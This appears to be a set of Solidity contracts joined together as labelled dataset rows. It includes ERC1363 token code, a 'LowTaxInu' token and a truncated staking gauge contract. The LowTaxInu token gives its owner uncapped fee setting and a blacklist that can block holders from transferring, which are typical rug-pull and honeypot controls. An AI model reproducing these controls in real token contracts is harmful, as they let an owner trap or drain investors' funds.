* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function _setOwner(address owner_) internal {
emit OwnershipTransferred(_owner, owner_);
_owner = owner_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "../interface/IERC1363.sol";
import "../interface/IERC1363Receiver.sol";
import "../interface/IERC1363Spender.sol";
abstract contract ERC1363Transfer is ERC20, IERC1363Transfer {
function transferAndCall(address to, uint256 value) public override returns (bool) {
return transferAndCall(to, value, bytes(""));
}
function transferAndCall(address to, uint256 value, bytes memory data) public override returns (bool) {
require(transfer(to, value));
try IERC1363Receiver(to).onTransferReceived(_msgSender(), _msgSender(), value, data) returns (bytes4 selector) {
require(selector == IERC1363Receiver(to).onTransferReceived.selector, "ERC1363: onTransferReceived invalid result");
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1363: onTransferReceived reverted without reason");
}
return true;
}
function transferFromAndCall(address from, address to, uint256 value) public override returns (bool) {
return transferFromAndCall(from, to, value, bytes(""));
}
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public override returns (bool) {
require(transferFrom(from, to, value));
try IERC1363Receiver(to).onTransferReceived(_msgSender(), from, value, data) returns (bytes4 selector) {
require(selector == IERC1363Receiver(to).onTransferReceived.selector, "ERC1363: onTransferReceived invalid result");
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1363: onTransferReceived reverted without reason");
}
return true;
}
}
abstract contract ERC1363Approve is ERC20, IERC1363Approve {
function approveAndCall(address spender, uint256 value) public override returns (bool) {
return approveAndCall(spender, value, bytes(""));
}
function approveAndCall(address spender, uint256 value, bytes memory data) public override returns (bool) {
require(approve(spender, value));
try IERC1363Spender(spender).onApprovalReceived(_msgSender(), value, data) returns (bytes4 selector) {
require(selector == IERC1363Spender(spender).onApprovalReceived.selector, "ERC1363: onApprovalReceived invalid result");
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1363: onApprovalReceived reverted without reason");
}
return true;
}
}
abstract contract ERC1363 is ERC1363Transfer, ERC1363Approve {}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC1363Transfer {
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value) external returns (bool);
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(address from, address to, uint256 value) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool);
}
interface IERC1363Approve {
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
}
interface IERC1363 is IERC1363Transfer, IERC1363Approve {
}
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|
/**
*/
//SPDX-License-Identifier: UNLICENSED
//TG: https://t.me/LowTaxInu
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LowTaxInu is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1000000 * 10**9;
string public constant name = unicode"LowTaxInu";
string public constant symbol = unicode"LowTaxInu";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 8;
uint private _feeRate = 14;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (0 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 20000 * 10**9;
_maxHeldTokens = 40000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function RestoreLimit(uint256 maxTxAmount, uint256 maxWallet) public onlyOwner {
_maxBuyTokens = maxTxAmount;
_maxHeldTokens = maxWallet;
}
} | True | [
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|
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File srcBuild/Gauge.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
interface ve {
function token() external view returns (address);
function balanceOfNFT(uint) external view returns (uint);
function isApprovedOrOwner(address, uint) external view returns (bool);
function isUnlocked() external view returns (bool);
function locked__end(uint) external view returns (uint);
function create_lock_for(uint, uint, address) external returns (uint);
function deposit_for(uint, uint) external;
function ownerOf(uint) external view returns (address);
function transferFrom(address, address, uint) external;
}
interface IBribe {
function notifyRewardAmount(address token, uint amount) external;
function left(address token) external view returns (uint);
}
interface Voter {
function attachTokenToGauge(uint _tokenId, address account) external;
function detachTokenFromGauge(uint _tokenId, address account) external;
function emitDeposit(uint _tokenId, address account, uint amount) external;
function emitWithdraw(uint _tokenId, address account, uint amount) external;
function distribute(address _gauge) external;
}
// Gauges are used to incentivize pools, they emit reward tokens over 7 days for staked LP tokens
contract Gauge {
address public immutable stake; // the asset token that needs to be staked for rewards
address public immutable _ve; // the ve token used for gauges
address public immutable bribe;
address public immutable voter;
bool internal depositsOpen;
uint public derivedSupply;
mapping(address => uint) public derivedBalances;
uint internal constant DURATION = 7 days; // rewards are released over 7 days
uint internal constant PRECISION = 10 ** 18;
// default snx staking contract implementation
mapping(address => uint) public rewardRate;
mapping(address => uint) public periodFinish;
mapping(address => uint) public lastUpdateTime;
mapping(address => uint) public rewardPerTokenStored;
mapping(address => mapping(address => uint)) public lastEarn;
mapping(address => mapping(address => uint)) public userRewardPerTokenStored;
mapping(address => uint) public tokenIds;
uint public totalSupply;
mapping(address => uint) public balanceOf;
address[] public rewards;
mapping(address => bool) public isReward;
/// @notice A checkpoint for marking balance
struct Checkpoint {
uint timestamp;
uint balanceOf;
}
/// @notice A checkpoint for marking reward rate
struct RewardPerTokenCheckpoint {
uint timestamp;
uint rewardPerToken;
}
/// @notice A checkpoint for marking supply
struct SupplyCheckpoint {
uint timestamp;
uint supply;
}
/// @notice A record of balance checkpoints for each account, by index
mapping (address => mapping (uint => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint) public numCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (uint => SupplyCheckpoint) public supplyCheckpoints;
/// @notice The number of checkpoints
uint public supplyNumCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints;
/// @notice The number of checkpoints for each token
mapping (address => uint) public rewardPerTokenNumCheckpoints;
event Deposit(address indexed from, uint tokenId, uint amount);
event Withdraw(address indexed from, uint tokenId, uint amount);
event NotifyReward(address indexed from, address indexed reward, uint amount);
event ClaimRewards(address indexed from, address indexed reward, uint amount);
constructor(address _stake, address _bribe, address __ve, address _voter) {
stake = _stake;
bribe = _bribe;
_ve = __ve;
voter = _voter;
depositsOpen = true;
_safeApprove(ve(__ve).token(), __ve, type(uint).max);
}
modifier whenDepositsOpen() {
require(depositsOpen, "This gauge is not open for deposits");
_;
}
function stopDeposits() external {
require(msg.sender == voter, "must be from voter");
depositsOpen = false;
}
function openDeposits() external {
require(msg.sender == voter, "must be from voter");
depositsOpen = true;
}
function isDepositsOpen() external view returns (bool) {
return depositsOpen;
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
/**
* @notice Determine the prior balance for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param timestamp The timestamp to get the balance at
* @return The balance the account had as of the given block
*/
function getPriorBalanceIndex(address account, uint timestamp) public view returns (uint) {
uint nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (checkpoints[account][0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorSupplyIndex(uint timestamp) public view returns (uint) {
uint nCheckpoints = supplyNumCheckpoints;
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (supplyCheckpoints[0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
SupplyCheckpoint memory cp = supplyCheckpoints[center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) {
uint nCheckpoints = rewardPerTokenNumCheckpoints[token];
if (nCheckpoints == 0) {
return (0,0);
}
// First check most recent balance
if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) {
return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp);
}
// Next check implicit zero balance
if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) {
return (0,0);
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center];
if (cp.timestamp == timestamp) {
return (cp.rewardPerToken, cp.timestamp);
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp);
}
function _writeCheckpoint(address account, uint balance) internal {
uint _timestamp = block.timestamp;
uint _nCheckPoints = numCheckpoints[account];
if (_nCheckPoints > 0 && checkpoints[account][_nCheckPoints - 1].timestamp == _timestamp) {
checkpoints[account][_nCheckPoints - 1].balanceOf = balance;
} else {
checkpoints[account][_nCheckPoints] = Checkpoint(_timestamp, balance);
numCheckpoints[account] = _nCheckPoints + 1;
}
}
function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal {
uint _nCheckPoints = rewardPerTokenNumCheckpoints[token];
if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) {
rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward;
} else {
rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward);
rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1;
}
}
function _writeSupplyCheckpoint() internal {
uint _nCheckPoints = supplyNumCheckpoints;
uint _timestamp = block.timestamp;
if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
supplyCheckpoints[_nCheckPoints - 1].supply = derivedSupply;
} else {
supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, derivedSupply);
supplyNumCheckpoints = _nCheckPoints + 1;
}
}
function rewardsListLength() external view returns (uint) {
return rewards.length;
}
// returns the last time the reward was modified or periodFinish if the reward has ended
function lastTimeRewardApplicable(address token) public view returns (uint) {
return Math.min(block.timestamp, periodFinish[token]);
}
function getReward(address account, address[] memory tokens) external lock {
require(msg.sender == account || msg.sender == voter);
_unlocked = 1;
Voter(voter).distribute(address(this));
_unlocked = 2;
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], account);
lastEarn[tokens[i]][account] = block.timestamp;
userRewardPerTokenStored[tokens[i]][account] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) {
//setup gauges to send you veAPHRA while token is unlocked
if (ve(_ve).isUnlocked()) {
_safeTransfer(tokens[i], account, _reward);
} else {
uint tokenId = tokenIds[msg.sender];
if (tokenId == 0 || block.timestamp > ve(_ve).locked__end(tokenId)) {
//set initial lock for 8 weeks
tokenIds[msg.sender] = ve(_ve).create_lock_for(_reward, DURATION * 8, msg.sender);
} else {
ve(_ve).deposit_for(tokenId, _reward);
}
}
}
emit ClaimRewards(msg.sender, tokens[i], _reward);
}
uint _derivedBalance = derivedBalances[account];
derivedSupply -= _derivedBalance;
_derivedBalance = derivedBalance(account);
derivedBalances[account] = _derivedBalance;
derivedSupply += _derivedBalance;
_writeCheckpoint(account, derivedBalances[account]);
_writeSupplyCheckpoint();
}
function rewardPerToken(address token) public view returns (uint) {
if (derivedSupply == 0) {
return rewardPerTokenStored[token];
}
return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / derivedSupply);
}
function derivedBalance(address account) public view returns (uint) {
uint _tokenId = tokenIds[account];
uint _balance = balanceOf[account];
uint _derived = _balance * 40 / 100;
uint _adjusted = 0;
uint _supply = erc20(_ve).totalSupply();
//only activate boosts on ve unlock
if (account == ve(_ve).ownerOf(_tokenId) && _supply > 0 && ve(_ve).isUnlocked()) {
_adjusted = ve(_ve).balanceOfNFT(_tokenId);
_adjusted = (totalSupply * _adjusted / _supply) * 60 / 100;
}
return Math.min((_derived + _adjusted), _balance);
}
function batchRewardPerToken(address token, uint maxRuns) external {
(rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns);
}
function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns);
for (uint i = _startIndex; i < _endIndex; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
return (reward, _startTimestamp);
}
function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) {
uint endTime = Math.max(timestamp1, startTimestamp);
return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime);
}
function _updateRewardPerToken(address token) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = supplyNumCheckpoints-1;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
}
SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex];
if (sp.supply > 0) {
(uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, block.timestamp);
_startTimestamp = block.timestamp;
}
return (reward, _startTimestamp);
}
// earned is an estimation, it won't be exact till the supply > rewardPerToken calculations have run
function earned(address token, address account) public view returns (uint) {
uint _startTimestamp = Math.max(lastEarn[token][account], rewardPerTokenCheckpoints[token][0].timestamp);
if (numCheckpoints[account] == 0) {
return 0;
}
uint _startIndex = getPriorBalanceIndex(account, _startTimestamp);
uint _endIndex = numCheckpoints[account]-1;
uint reward = 0;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
Checkpoint memory cp0 = checkpoints[account][i];
Checkpoint memory cp1 = checkpoints[account][i+1];
(uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp);
(uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp);
reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
}
}
Checkpoint memory cp = checkpoints[account][_endIndex];
(uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp);
reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][account])) / PRECISION;
return reward;
}
function depositAll(uint tokenId) external {
deposit(erc20(stake).balanceOf(msg.sender), tokenId);
}
function deposit(uint amount, uint tokenId) public whenDepositsOpen lock {
require(amount > 0);
_safeTransferFrom(stake, msg.sender, address(this), amount);
totalSupply += amount;
balanceOf[msg.sender] += amount;
if (tokenId > 0) {
require(ve(_ve).ownerOf(tokenId) == msg.sender);
if (tokenIds[msg.sender] == 0) {
tokenIds[msg.sender] = tokenId;
Voter(voter).attachTokenToGauge(tokenId, msg.sender);
}
require(tokenIds[msg.sender] == tokenId);
} else {
tokenId = tokenIds[msg.sender];
}
uint _derivedBalance = derivedBalances[msg.sender];
derivedSupply -= _derivedBalance;
_derivedBalance = derivedBalance(msg.sender);
derivedBalances[msg.sender] = _derivedBalance;
derivedSupply += _derivedBalance;
_writeCheckpoint(msg.sender, _derivedBalance);
_writeSupplyCheckpoint();
Voter(voter).emitDeposit(tokenId, msg.sender, amount);
emit Deposit(msg.sender, tokenId, amount);
}
function withdrawAll() external {
withdraw(balanceOf[msg.sender]);
}
function withdraw(uint amount) public {
uint tokenId = 0;
if (amount == balanceOf[msg.sender]) {
tokenId = tokenIds[msg.sender];
}
withdrawToken(amount, tokenId);
}
function withdrawToken(uint amount, uint tokenId) public lock {
totalSupply -= amount;
balanceOf[msg.sender] -= amount;
_safeTransfer(stake, msg.sender, amount);
if (tokenId > 0) {
require(tokenId == tokenIds[msg.sender]);
tokenIds[msg.sender] = 0;
Voter(voter).detachTokenFromGauge(tokenId, msg.sender);
} else {
tokenId = tokenIds[msg.sender];
}
uint _derivedBalance = derivedBalances[msg.sender];
derivedSupply -= _derivedBalance;
_derivedBalance = derivedBalance(msg.sender);
derivedBalances[msg.sender] = _derivedBalance;
derivedSupply += _derivedBalance;
_writeCheckpoint(msg.sender, derivedBalances[msg.sender]);
_writeSupplyCheckpoint();
Voter(voter).emitWithdraw(tokenId, msg.sender, amount);
emit Withdraw(msg.sender, tokenId, amount);
}
function left(address token) external view returns (uint) {
if (block.timestamp >= periodFinish[token]) return 0;
uint _remaining = periodFinish[token] - block.timestamp;
